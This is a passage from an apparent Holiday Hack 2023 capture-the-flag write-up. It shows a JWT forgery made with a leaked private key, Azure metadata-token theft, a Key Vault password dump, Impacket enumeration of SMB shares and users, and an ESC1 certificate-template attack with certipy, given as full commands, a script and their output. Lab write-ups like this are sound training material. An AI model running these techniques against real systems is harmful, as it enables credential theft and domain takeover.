Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg
Response
..[snip]..
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg
JWT Decoded
Payload = {
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioMonitor"
}

We can then use the previous JWT into the Authorization header and obtain the decoder role JWT from https://captainscomms.com/jwtDefault/rDecoder.tok.

Request
GET /jwtDefault/rDecoder.tok HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg
Response
..[snip]..
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
JWT Decoded
Payload = {
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioDecoder"
}

We can also access the captains public key from https://captainscomms.com/jwtDefault/keys/capsPubKey.key and leveraging any of the JWTs previously disclosed in the Authorization header of the request.

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----

Burp - Session Handling Rules

We can set Session-handling rules within Burp Suite and toggle between the decoder and monitor roles relatively easy as follows:

burp

burp

burp

Access SDR

After replacing my Authorization: header with the monitor role JWT, we can access the Software Defined Radio (SDR) Waterfall display from <https://captainscomms.com/static/images/WaterfallPopOut.gi.

sdr

From “Appendix A”, we can now click on a signal peak while using the ‘radioDecoder’ role token and hear and decode a signal! The lines of the spectrogram plot are hyperlinked to the following videos (from left-to-right):

We can download all videos and inspect them using a video player of our choice!

for filename in $(echo dcdCW dcdFX dcdNUM ); do
wget --header='Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' https://captainscomms.com/static/images/$filename.mp4
done

The CW decoded output:

cw

The NUM decoded output:

num

From the research articleregarding E03, we can see the message is actually between the two gongs: 12249 12249 16009 16009 12249 12249 16009 16009

e03

The FX final decoded output:

fx

Obtain Private Key

Using the CW decoded output, we are able to find the private key using some intuition on how the captain labeled the public key as /jwtDefault/keys/capsPubKey.key in the location: https://captainscomms.com/jwtDefault/keys/capsPrivKey.key

Request
GET /jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
Response
..[snip]..
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----

JWT Spoof Administrator

We can use the captain’s private key to sign a new JWT to obtain access to the Radio as a “JWT Radio Administrator”. From the hints - You’ll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role. We can create the new key using jwt.io or Python with the jwt library.

jwt

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng

In addition, I made a custom python function to generate each JWT for every role available:

captains_jwtgen.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to generate JWT tokens for each role.
Holiday Hack 2023 - The Captain's Comms
"""

# Imports
import jwt
import requests
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings()

# Constants
ROLES = {
    "radioUser": "waterfall",  # Default role - https://captainscomms.com/
    "radioMonitor": None,  # Interact with SDR and listen to transmissions - https://captainscomms.com/jwtDefault/rMonitor.tok
    "radioDecoder": "dcdNUM",  # Decoding SDR waterfall signals - https://captainscomms.com/jwtDefault/rDecoder.tok
    "GeeseIslandsSuperChiefCommunicationsOfficer": "tx",  # Transmit messages - https://captainscomms.com/jwtDefault/rTransmitter.tok
}
# Load RSA private key
with open("./capsPrivKey.key", "rb") as key_file:
    PRIVATE_KEY = serialization.load_pem_private_key(key_file.read(), password=None, backend=default_backend())


def get_jwt(role):
    """Create new JWT based on a given role."""
    algorithm = "RS256"
    payload = {
        "iss": "HHC 2023 Captain's Comms",
        "iat": 1699485795.3403327,
        "exp": 1809937395.3403327,
        "aud": "Holiday Hack 2023",
        "role": role,
    }
    token = jwt.encode(payload=payload, key=PRIVATE_KEY, algorithm=algorithm)
    return token


def check_role(role, jwt_token):
    """Checks a jwt token based on a given role."""
    x_request = ROLES[role]
    if x_request:
        headers = {
            "Cookie": f"justWatchThisRole={jwt_token}; CaptainsCookie={jwt_token}",
            "Authorization": f"Bearer {jwt_token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
            "X-Request-Item": x_request,
        }
        proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
        r = requests.get(url="https://captainscomms.com/checkRole", headers=headers, proxies=proxies, verify=False)
        print(r.text)
        if "Warning" not in r.text:
            print(f"[+] {role} was valid.")
        else:
            print(f"[-] {role} was invalid.")


def main():
    # Generate JWT
    while True:
        lower_keys = list(map(str.lower, ROLES.keys()))
        role_str = ", ".join(ROLES.keys())
        role_input = input(f"What role would you like to generate ({role_str}): ").lower()
        if role_input.lower() not in lower_keys:
            print("Invalid role. Please choose a valid role.")
            continue
        else:
            role = list(ROLES.keys())[lower_keys.index(role_input.lower())]
        jwt_token = get_jwt(role)
        print(f"Role: {role}, JWT token {jwt_token}")

        # Check role
        r = check_role(role, jwt_token)


if __name__ == "__main__":
    main()
$ python3 jwtgen.py
What role would you like to generate (radioUser, radioMonitor, radioDecoder, GeeseIslandsSuperChiefCommunicationsOfficer): GeeseIslandsSuperChiefCommunicationsOfficer
Role: GeeseIslandsSuperChiefCommunicationsOfficer, JWT eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
captainsTX.gif,1
[+] GeeseIslandsSuperChiefCommunicationsOfficer was valid.

After changing our authorization header we can access the radio:

radio

Radio Frequency and Go-Date/Time

Previously from the FX output: 10426 HZ Previously from the NUM output: 12249 16009 Previously from Background: “The captain would like to find their anticipated ‘go-time’ frequency, the planned date and hour for their incursion, and lure the miscreants ashore at a time when the island authorities are sufficiently prepared and ready by transmitting a message announcing a new ‘go-time’ which is four hours earlier than what the miscreants planned”

The Frequency is directly from the FX output of 10426 Hz. The NUM should contain a date and time field. The numbers all end in a consistent 9 and since the input fields are 4-digit max, and we are presumably looking for a date in December 12 … The date is the first output: 1224 which correlates to December 24th. The time is the second output: 1600 which correlates to 4 PM. If we were to enter this time in, it would be identical to what was received. Intercepted Frequency: 10426 HZ Go-Date: 1224 Go-Time: 1600 However, per the background, we need to subtract 4 hours from the time: Correct Frequency: 10426 HZ Go-Date: 1224 Go-Time: 1200

Clicking Transmit (Tx) Button on the radio:

success

Achievement

Congratulations! You have completed the The Captain’s Comms challenge!

Port of Coggoggle Marina

While exploring the Steampunk Island, we discover the Port of Coggoggle Marina. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock featured the Angel Candysalt on Steampunk Island to greet us!

dock

When we make land, we obtain new objectives on arrival.

Active Directory (Steampunk Island) 🎄🎄🎄🎄🎄

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What’s the name of the secret file in the inaccessible folder on the FileShare?

Full Island (Zoomed Out)

zoom30

Active Directory

Active Directory (Steampunk Island) 🎄🎄🎄🎄🎄

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What’s the name of the secret file in the inaccessible folder on the FileShare?

If we go to the right of the dock in Coggoggle Marina on Steampunk Island, we find Ribb Bonbowford!

coggoggle

When speaking with Ribb Bonbowford, we obtain the following hint:

Useful Tools

It looks like Alabaster’s SSH account has a couple of tools installed which might prove useful.

Ribb Bonbowford

I’m worried because our Active Directory server is hosted there and Wombley Cube’s research department uses one of its fileshares to store their sensitive files.

On Pixel Island, we also an obtained a hint from Alabaster Snowball on the completion of Certificate SSHenanigans:

Misconfiguration ADventures

Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.

Azure Key Vault

Using the following curl commands to the Azure API, we were able to enumerate Azure Key Vaults and obtain the credentials of the elfy user!

Enumerating available azure key vaults:

access_token=$(curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H 'Metadata: true' | jq -r '.access_token')
curl -s -H "Authorization: Bearer $access_token" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01" | jq .
{
  "value": [
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
      "name": "northpole-it-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {},
      "properties": {
        "sku": {
          "family": "A",
          "name": "Standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [],
        "enabledForDeployment": false,
        "enabledForDiskEncryption": false,
        "enabledForTemplateDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "enableRbacAuthorization": true,
        "vaultUri": "https://northpole-it-kv.vault.azure.net/",
        "provisioningState": "Succeeded"
      }
    },
    {
      "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
      "name": "northpole-ssh-certs-kv",
      "type": "Microsoft.KeyVault/vaults",
      "location": "eastus",
      "tags": {},
      "properties": {
        "sku": {
          "family": "A",
          "name": "standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [
          {
            "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
            "objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
            "permissions": {
              "keys": [
                "all"
              ],
              "secrets": [
                "all"
              ],
              "certificates": [
                "all"
              ],
              "storage": [
                "all"
              ]
            }
          },
          {
            "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
            "objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
            "permissions": {
              "secrets": [
                "get"
              ]
            }
          }
        ],
        "enabledForDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
        "provisioningState": "Succeeded"
      }
    }
  ],
  "nextLink": "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01&$skiptoken=bm9ydGhwb2xlLXNzaC1jZXJ0cy1rdg=="
}

Fetching Secrets from northpole-it-kv key vault and the tmpAddUserScript contents (with formatting).

access_token=$(curl -s "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" -H 'Metadata: true' | jq -r '.access_token')
curl -s -H "Authorization: Bearer $access_token" "https://northpole-it-kv.vault.azure.net/secrets?api-version=2016-10-01" | jq .
curl -s -H "Authorization: Bearer $access_token" 'https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=2016-10-01' | jq -r .value | sed 's/; /\n/g'
Import-Module ActiveDirectory
$UserName = "elfy"
$UserDomain = "northpole.local"
$UserUPN = "$UserName@$UserDomain"
$Password = ConvertTo-SecureString "J4`ufC49/J4766" -AsPlainText -Force
$DCIP = "10.0.0.53"
New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname "" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru

Enumerate SMB Share (elfy)

Connect to an SMB server and obtain files with Impacket’s smbclient.py:

alabaster@ssh-server-vm:~$ smbclient.py 'northpole.local/elfy:J4`ufC49/J4766'@10.0.0.53
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# use FileShare
# ls
drw-rw-rw-          0  Mon Jan  1 01:15:54 2024 .
drw-rw-rw-          0  Mon Jan  1 01:15:51 2024 ..
-rw-rw-rw-     701028  Mon Jan  1 01:15:54 2024 Cookies.pdf
-rw-rw-rw-    1521650  Mon Jan  1 01:15:54 2024 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Mon Jan  1 01:15:54 2024 SignatureCookies.pdf
drw-rw-rw-          0  Mon Jan  1 01:15:54 2024 super_secret_research
-rw-rw-rw-        165  Mon Jan  1 01:15:54 2024 todo.txt
# mget *
[*] Downloading Cookies.pdf
[*] Downloading Cookies_Recipe.pdf
[*] Downloading SignatureCookies.pdf
[*] Downloading todo.txt

Within the contents of todo.txt, it mentions only researchers have access to the folder. Lets enumerate who is a researcher on the domain!

1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit

Enumerate Users

Connect to the domain controller and obtain user information using Impacket’s GetADUsers.py:

alabaster@ssh-server-vm:~$ GetADUsers.py -all -dc-ip 10.0.0.53 'northpole.local/elfy:J4`ufC49/J4766'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying 10.0.0.53 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2023-12-31 17:03:53.904578  2024-01-01 04:47:34.127510
Guest                                                 <never>              <never>
krbtgt                                                2024-01-01 01:12:45.428030  <never>
elfy                                                  2024-01-01 01:15:00.062070  2024-01-01 23:54:12.109625
wombleycube                                           2024-01-01 01:15:00.202697  2024-01-02 00:15:12.848081

Enumerate Certificates

Connect to the domain controller of northpole.local at 10.0.0.53 and enumerate the vulnerable certificates:

alabaster@ssh-server-vm:~$ certipy find -vulnerable -u [email protected] -p 'J4`ufC49/J4766' -target-ip 10.0.0.53  -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : northpole-npdc01-CA
    DNS Name                            : npdc01.northpole.local
    Certificate Subject                 : CN=northpole-npdc01-CA, DC=northpole, DC=local
    Certificate Serial Number           : 7099E7E2AE353AB844CFF84150AC1585
    Certificate Validity Start          : 2024-01-01 01:07:47+00:00
    Certificate Validity End            : 2029-01-01 01:17:46+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : NORTHPOLE.LOCAL\Administrators
      Access Rights
        ManageCertificates              : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        ManageCa                        : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Enroll                          : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : NorthPoleUsers
    Display Name                        : NorthPoleUsers
    Certificate Authorities             : northpole-npdc01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Domain Users
                                          NORTHPOLE.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : NORTHPOLE.LOCAL\Enterprise Admins
        Write Owner Principals          : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Dacl Principals           : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Property Principals       : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

ESC1 Certificate Attack

References: https://github.com/ly4k/Certipy#esc1 ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).

Per certipy enumeration output, we can perform a ESC1 attack using the NorthPoleUsers certificate template and request an authentication certificate for any other user. Lets try this on the two other users in the domain: alabaster and wombleycube

Request a certificate via RPC for wombleycube and we were successful:

alabaster@ssh-server-vm:~$ certipy req -u [email protected] -p 'J4`ufC49/J4766' -target-ip 10.0.0.53 -ca northpole-npdc01-CA -target npdc01.northpole.local -template NorthPoleUsers -ns 10.0.0.53 -dns-tcp -upn [email protected]
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
